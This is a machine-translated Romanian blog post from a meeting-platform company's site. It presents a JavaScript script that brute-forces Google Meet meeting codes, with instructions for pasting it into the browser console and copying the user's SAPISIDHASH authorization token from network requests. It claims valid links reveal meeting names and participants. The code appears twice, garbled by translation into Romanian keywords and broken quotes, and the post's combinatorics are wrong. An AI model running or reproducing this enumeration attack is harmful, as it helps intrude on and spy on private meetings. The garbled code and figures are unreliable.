Visio – rămâneți blocați în Google Meet | Dyrk, Dyna Meet – Visio
Faceți cunoștință cu Visio
randomize = () => dico = dico.Despică (”).Hartă (valoare => (< value, sort: Math.random() >)).vraja ((a, b) => a.vraja – b.vraja).HARTĂ ((< value >) => valoare).A te alatura (”),
NewPatternKey = () => “xxx-xxxx-xxx”.Despică (”).Hartă (c => c == ‘-‘?C: șir.FromCharCode (matematică.Podea (matematică.Random ()*25) +97)).A te alatura (”),
Key = newPatternKey (), contor = 20;
Next = () => cheie.Despică (”).Hartă (e => e == ‘-‘ ? E: DICO [DICO.Indexof (e) + 1> = dico.lungime ? 0: DICO.Indexof (e) + 1]).A te alatura (”),
Contor = 0;
MeetLink = ‘https: // Meet.Google.com/’, disponibil toe = () => xhr = new xmlhttpRequest ();
If (contor ++> = 20) contor = 0;
Key = newpatternkey ();
Randomize ();
>
Cheie = next ();
XHR.Deschide („GET”, MeetLink + cheie);
XHR.AddEventLisner (‘LOAD’, (E) => FETCH (MeetLink.concat (“/$ RPC/Google.RTC.întâlniri.V1.MeetingSpaceService/ResolveMeetingSpace ”),„ Headers ”:„ Autorizare ”: autorizare,
“Conținut-tip”: “aplicație/x-protobuf”,
“X-goog-sedep-key”: e.ţintă.responsabilitate.Match (/\ [“https \: \/\/meet \.Google\.com \ “\,” ([a-za-z0-9 \ _ \-]) “\]/) [1],
“X-Goog-Authuse”: “0”,
“X-Goog-Encode-Réspose-IF-Executabil”: “Base64”,
“X-Goog-Meeting-Identifier”: Btoa (‘\ b \ x02 \ x12 \ f’.Concat (cheie)),
>,
“corp”: “\ n \ f”.Concat (cheie, “0 \ u0001”),
“Metoda”: “Post”
>).Apoi (e => e.Text ())
.apoi (e => setTimeout (disponibil, 100);
consolă.Jurnal (MeetLink.Concat (cheie).Înfrumusețaredisplay (38), (E.Înlocuiți (/[^a-za-z0-9]/g, “”)+””).Înfrumusețaredisplay (38));
>);
>);
XHR.Trimite ();
>;
Şir.prototip.BeautyDisplay = funcție (dimensiune) < let txt = this.valueOf(); return txt.concat(' '.repeat(txt.length >mărimea ? TXT.Lungime: dimensiune)).Substrul (0, dimensiune).Concat (‘|’); >,
consolă.Clar ();
disponibil ();
>) ()
Dyrk
În prezent lucrează în domeniul cibersecurității, mă confrunt în mod regulat cu situații destul de banale.
Ultima, intruziunea unei persoane în timpul unei întâlniri .
Din fericire, pentru siguranță, Google Meet a inclus o caracteristică care permite atât participanților să avertizeze că o persoană încearcă să se alăture videoclipului, dar și să o accepte sau să o refuze.
Cu toate acestea, acest eveniment mă aduce să -mi pun o serie de întrebări .
Complexitatea linkului Google Meet
În primul rând, cum este posibil ca o persoană să se conecteze la un link de întâlnire fără a fi invitat la ea ?
Trebuie să luăm în considerare simplitatea linkului: https: // Google.întâlni.com/ com/Xxx -yyyy -zzzz
Xxx -yyyy -zzzz sunt doar caractere alfabetice între A și Z, adică 27 de combinații posibile pentru fiecare personaj.
Pentru matematicieni, prin urmare, există:
27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 Combinații posibile .
Durata de viață a unui link Google Meet
Deși acum suntem capabili să înțelegem mai bine cum sunt construite legăturile noștri de conferințe „Google Meet”, există un aspect foarte important de luat în considerare . Durata de viață a unui link Google Meet !
Într -adevăr, toată lumea poate genera întâlniri Google în câteva clicuri.
Dar după câteva zile, săptămâni sau luni . Legăturile nu mai sunt valabile.
Prin urmare, legăturile generate au o anumită perioadă de validitate .
Excepție face evenimente „recurente”, iar aici devine interesant.
În afaceri, există multe oportunități de organizare în mod regulat (echipă / afaceri, zilnic, săptămânal, lunar,, . )).
Când un angajat generează acest tip de eveniment în ordinea de zi, se generează automat un link Google Meet. Acesta este invariabil.
Deci, veți avea același link de fiecare dată pentru acest eveniment.
Cu un mic javascript și forță brută ?
Cu toate aceste elemente, suntem acum echipați să măturați toate posibilitățile și să ajungem la o probabilitate ridicată pentru a detecta link -uri către videoconociate !
Așa că am un pic retro asigurat funcționarea Google Meet pentru a scrie un cod JavaScript care va încerca un număr infinit de combinații
(C) Dyrk.Org 2023-2024 – Ruleta Meet
(1) Rulați acest script pe https: // Google.întâlni.com
(2) Găsiți și actualizați variabila autorizației cu un jeton de autorizare valabil în anteturile „Cereri XHR” ale Googles
Let Autorization = “SAPISIDHASH XXXXXXXXXXXXXXX_XXXXXXXXXXXXXXXXXXXXXXXXXXXXX“, dico =” abcdefghijklmnopqrstuvxz “,
randomize = () => dico = dico.Despică (”).Hartă (valoare => (< value, sort: Math.random() >)).vraja ((a, b) => a.vraja – b.vraja).HARTĂ ((< value >) => valoare).A te alatura (”),
NewPatternKey = () => “xxx-xxxx-xxx”.Despică (”).Hartă (c => c == ‘-‘?C: șir.FromCharCode (matematică.Podea (matematică.Random ()*25) +97)).A te alatura (”),
Key = newPatternKey (), contor = 20;
Next = () => cheie.Despică (”).Hartă (e => e == ‘-‘ ? E: DICO [DICO.Indexof (e) + 1> = dico.lungime ? 0: DICO.Indexof (e) + 1]).A te alatura (”),
Contor = 0;
MeetLink = ‘https: // Meet.Google.com/’, disponibil toe = () => xhr = new xmlhttpRequest ();
If (contor ++> = 20) contor = 0;
Key = newpatternkey ();
Randomize ();
>
Cheie = next ();
XHR.Deschide („GET”, MeetLink + cheie);
XHR.AddEventLisner (‘LOAD’, (E) => FETCH (MeetLink.concat (“/$ RPC/Google.RTC.întâlniri.V1.MeetingSpaceService/ResolveMeetingSpace ”),„ Headers ”:„ Autorizare ”: autorizare,
“Conținut-tip”: “aplicație/x-protobuf”,
“X-goog-sedep-key”: e.ţintă.responsabilitate.Match (/\ [“https \: \/\/meet \.Google\.com \ “\,” ([a-za-z0-9 \ _ \-]) “\]/) [1],
“X-Goog-Authuse”: “0”,
“X-Goog-Encode-Réspose-IF-Executabil”: “Base64”,
“X-Goog-Meeting-Identifier”: Btoa (‘\ b \ x02 \ x12 \ f’.Concat (cheie)),
>,
“corp”: “\ n \ f”.Concat (cheie, “0 \ u0001”),
“Metoda”: “Post”
>).Apoi (e => e.Text ())
.Apoi (e =>
SetTimeout (disponibil, 100);
consolă.Jurnal (MeetLink.Concat (cheie).Înfrumusețaredisplay (38), (E.Înlocuiți (/[^a-za-z0-9]/g, “”)+””).Înfrumusețaredisplay (38));
>);
>);
XHR.Trimite ();
>;
Şir.prototip.BeautyDisplay = funcție (dimensiune) < let txt = this.valueOf(); return txt.concat(' '.repeat(txt.length >mărimea ? TXT.Lungime: dimensiune)).Substrul (0, dimensiune).Concat (‘|’); >,
consolă.Clar ();
disponibil ();
>) ()
Pentru a opera toate acestea, va fi necesar:
- Deschideți pagina https: // întâlnește.Google.com
- Deschideți consola pentru dezvoltatori
- În fila „Rețea”, filtrați Fetch / XHR și recuperați un simbol de jeton“Autorizare”
- Copiați și lipiți codul sursă de mai sus și puneți la locul indicat jetonul.
- Validați cu tasta „Intrare” de pe tastatură.
Recuperarea jetonului de „autorizare”:
Pentru curioși, acesta ar trebui să arate rezultatul acestui scenariu în acțiune.
Prin urmare, notăm linii care ne informează că spațiul pentru videoconferință nu există.
Și alții care ne -au pus la punctul conferinței ! Prin urmare, indicând că legătura este valabilă;)
Cu toate acestea, nu vă așteptați să cădea în câteva secunde pe un link de întâlnire ^^
(Dacă nu ești puțin norocos)
Va trebui să fiți o mare răbdare, lăsându -l să curgă cel puțin o jumătate de oră.
Concluzie
Nu intrați în panică că există un număr mai mare de noroc pentru a găsi un link de întâlnire Google valabil decât câștigarea loto -ului.
Atenţie ! O persoană care se confruntă cu accesul la link -uri valabile la anumite informații, fără a fi nevoie să fie conectată:
Numele întâlnirii (prin urmare, evitați să alunecați informații confidențiale) și participanții conectați (toate sau un joc).
Faceți cunoștință cu Visio
Jaf online
Până la 1000 de jucători simultan
O platformă de acces ușor, în Visio
Orizont 2024
Până la 1000 de jucători simultan
O platformă de acces ușor, în Visio
Unde este Charlie ?!
Până la 1000 de jucători simultan
O platformă de acces ușor, în Visio
Misiunea Enigma
Până la 1000 de jucători simultan
O platformă de acces ușor, în Visio
Conștientizarea cibersecurității
Până la 5000 de jucători simultan
O platformă de acces ușor, în Visio
Salvați Crăciunul !
Până la 1000 de jucători simultan
O platformă de acces ușor, în Visio
Copyright © 2023 – Dyna’meet
Gestionați consimțământul la cookie -uri
Pentru a oferi cele mai bune experiențe, folosim tehnologii precum cookie -uri pentru a stoca și/sau accesarea informațiilor dispozitivelor. Consimțământul la aceste tehnologii ne va permite să procesăm date precum comportamentul de navigație sau ID -uri unice pe acest site. Faptul de a nu consimți sau retrage consimțământul dvs. poate avea un efect negativ asupra anumitor caracteristici și funcții.
Funcțional funcțional activat întotdeauna
Depozitarea sau accesul tehnic este strict necesar la sfârșitul interesului legitim pentru a permite utilizarea unui serviciu specific solicitat în mod explicit de abonat sau utilizator sau în scopul exclusiv de a transmite transmiterea comunicării pe o rețea de comunicații electronice.
Preferințe preferințe
Depozitarea sau accesul tehnic este necesar în scopul unui interes legitim pentru a stoca preferințele care nu sunt solicitate de abonat sau de persoana care utilizează serviciul.
Statistici statistice
Stocare sau acces tehnic care este utilizat exclusiv în scopuri statistice. Stocare sau acces tehnic care este utilizat exclusiv în scopuri statistice anonime. În absența unei convocări care să apară, respectarea voluntară din partea furnizorului dvs. de acces la internet sau înregistrări suplimentare de la o terță parte, informațiile stocate sau extrase în acest scop nu pot fi utilizate în general pentru a vă identifica pentru a vă identifica.
Stocarea sau accesul tehnic este necesar pentru a crea profiluri de utilizator pentru a trimite reclame sau pentru a urmări utilizatorul pe un site web sau pe mai multe site -uri web cu scopuri de marketing similare.